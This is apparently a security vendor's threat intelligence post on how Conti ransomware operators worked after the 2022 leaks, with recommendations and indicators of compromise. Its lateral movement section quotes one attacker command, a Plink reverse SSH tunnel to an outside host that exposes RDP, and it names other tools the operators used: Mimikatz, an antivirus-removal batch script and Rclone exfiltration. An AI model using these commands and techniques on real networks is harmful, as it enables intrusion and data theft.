Conti-nuation: methods and techniques observed in operations post the leaks

RIFT: Research and Intelligence Fusion Team Threat Intelligence March 31, 2022March 31, 2022 5 Minutes

Authored by: Nikolaos Pantazopoulos, Alex Jessop and Simon Biggs

Executive Summary

In February 2022, a Twitter account which uses the handle 'ContiLeaks', started to publicly release information for the operations of the cybercrime group behind the Conti ransomware. The leaked data included private conversations between members along with source code of various panels and tools (e.g. Team9 backdoor panel [1]). Furthermore, even though the leaks appeared to have a focus on the people behind the Conti operations, the leaked data confirmed (at least to the public domain) that the Conti operators are part of the group, which operates under the 'TheTrick' ecosystem. For the past few months, there was a common misconception that Conti was a different entity.

Despite the public disclosure of their arsenal, it appears that Conti operators continue their business as usual by proceeding to compromise networks, exfiltrating data and finally deploying their ransomware. This post describes the methods and techniques we observed during recent incidents that took place after the Conti data leaks.

Our findings can be summarised as below:

- Multiple different initial access vectors have been observed.
- The operator(s) use service accounts of the victim's Antivirus product in order to laterally move through the estate and deploy the ransomware.
- After getting access, the operator(s) attempted to remove the installed Antivirus product through the execution of batch scripts.
- To achieve persistence in the compromised hosts, multiple techniques were observed;
    - Service created for the execution of Cobalt Strike.
    - Multiple legitimate remote access software, 'AnyDesk', 'Splashtop' and 'Atera', were deployed. (Note: This has been reported in the past too by different vendors)
        - Local admin account 'Crackenn' created. (Note: This has been previously reported by Truesec as a Conti behaviour [2])
- Before starting the ransomware activity, the operators exfiltrated data from the network with the legitimate software 'Rclone' [3].

It should be noted that the threat actor(s) might use different tools or techniques in some stages of the compromise.

Initial Access

Multiple initial access vectors have been observed recently; phishing emails and the exploitation of Microsoft Exchange servers. The phishing email delivered to an employer proceeded to deploy Qakbot to the users Citrix session. The targeting of Microsoft Exchange saw ProxyShell and ProxyLogon vulnerabilities exploited. When this vector was observed, the compromise of the Exchange servers often took place two — three months prior to the post exploitation phase. This behaviour suggests that the team responsible for gaining initial access compromised a large number of estates in a small timeframe.

With a number of engagements, it was not possible to ascertain the initial access due to dwell time and evidence retention. However, other initial access vectors utilised by the Conti operator(s) are:

- Credential brute-force
- Use of publicly available exploits. We have observed the following exploits being used:
    - Fortigate VPN
        - CVE-2018-13379
        - CVE-2018-13374
    - Log4Shell
        - CVE-2021-44228
- Phishing e-mail sent by a legitimate compromised account.

Lateral Movement

In one incident, after gaining access to the first compromised host, we observed the threat actor carrying out the following actions:

- Download AnyDesk from hxxps://37.221.113[.]100/anydesk.exe
- Deployment of the following batch files:
    - 1.bat, 2.bat, 111.bat
        - Ransomware propagation
    - Removesophos.bat, uninstallSophos.bat
        - Uninstalls Sophos Antivirus solution
    - Aspx.bat
        - Contains a command-line, which executes the dropped executable file ‘ekern.exe’.
        - ‘ekern.exe’ is a command line connection tool known as Plink [4]
        - This file establishes a reverse SSH tunnel that allows direct RDP connection to the compromised host.
        - ekern.exe -ssh -P 53 -l redacted-pw redacted -R REDACTED_IP:59000:127.0.0.1:3389

After executing the above files, we observed the following utilities being used for reconnaissance and movement:

- RDP
- ADFind
- Bloodhound to identify the network topology.
- netscan.exe for network shares discovery.
- Cobalt Strike deployed allowing the threat actor to laterally move throughout the network.

The common techniques across the multiple Conti engagements are the use of RDP and Cobalt Strike.

Persistence

The threat actor leveraged Windows services to add persistence for the Cobalt Strike beacon. The primary persistence method was a Windows service, an example can be observed below:

A service was installed in the system.

Service Name: REDACTED

Service File Name: cmd.exe /c C:\ProgramData\1.msi

Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

In addition, services were also installed to provide persistence for the Remote Access Tools deployed by the threat actor:

- AnyDesk
- Splashtop
- Atera

Another Conti engagement saw no methods of persistence. However, a temporary service was created to execute Cobalt Strike. It is hypothesized that the threat actor planned to achieve their objective quickly and therefore used services for execution rather than persistence.

In a separate engagement, where the initial access vector was phishing and lead to the deployment of Qakbot, the threat actor proceeded to create a local admin account named ‘Crackenn’ for persistence on the host.

Privilege Escalation

Conti operator(s) managed to escalate their privileges by compromising and using different accounts that were found in the compromised host. The credentials compromised in multiple engagements was achieved by deploying tools such as Mimikatz.

One operator was also observed exploiting ZeroLogon to obtain credentials and move laterally.

Exfiltration and Encryption

Similar to many other threat actors, Conti operator(s) exfiltrate a large amount of data from the compromised network using the legitimate software 'Rclone'. 'Rclone' was configured to upload to either Mega cloud storage provider or to a threat actor controlled server. Soon after the data exfiltration, the threat actor(s) started the data encryption. In addition, we estimate that the average time between the lateral movement and encryption is five days.

As discussed earlier on, the average dwell time of a Conti compromise is heavily dependant on the initial access method. Those incidents that have involved ProxyShell and ProxyLogon, the time between initial access and lateral movement has been three — six months. However once lateral movement is conducted, time to completing their objective is a matter of days.

Recommendations

- Monitor firewalls for traffic categorised as filesharing
- Monitor firewalls for anomalous spikes in data leaving the network
- Patch externally facing services immediately
- Monitor installed software for remote access tools
- Restrict RDP and SMB access between hosts
- Implement a Robust Password Policy [5]
- Provide regular security awareness training

Indicators of Compromise

Indicator Value	Indicator Type	Description
37.221.113[.]100/anydesk.exe	IP Address	Hosts AnyDesk
103.253.208[.]79	IP Address	Cobalt Strike command-and-control server
C:\ProgramData\1.msi	Filename	Cobalt Strike payload
C:\ProgramData\1.dll	Filename	Cobalt Strike payload
223.29.205[.]54	IP Address	AnyDesk IP address of the operator.
C:\Windows\sv.exe	Filename	Rclone
C:\Windows\svchost.conf	Filename	Rclone config
E03AF25994222D4DC6EFD98AE65217A03A5B40EEDCFFAC45F098E2A6F68F3F41	SHA256	Sv.exe — Rclone
C:\Users\Public\Report_18.xls	Filename	Cobalt Strike payload
C:\Users\Public\x86_16.dll	Filename	Cobalt Strike payload
Crackenn	Account	Local admin account created on patient zero
C:\Users\<user>\AppData\Roaming\Microsoft\Abevi\<random characters>.dll	Filename	Qakbot payload
C:\Users\Public\AdFind.exe	Filename	ADFind
23.82.140[.]234	IP Address	Cobalt Strike command-and-control server
23.81.246[.]179	IP Address	Cobalt Strike command-and-control server
hijelurusa[.]com	Domain	Cobalt Strike command-and-control server

References

1. https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/

2. https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks
3. https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
4. https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html
5. https://www.ncsc.gov.uk/collection/passwords/updating-your-approach

Share this:

- Twitter
- Reddit
- LinkedIn
- Facebook
-

Like this:

Like Loading... 

Published by RIFT: Research and Intelligence Fusion Team

RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IoCs and detection capabilities to strategic reports on tomorrow's threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies. View all posts by RIFT: Research and Intelligence Fusion Team

Published March 31, 2022March 31, 2022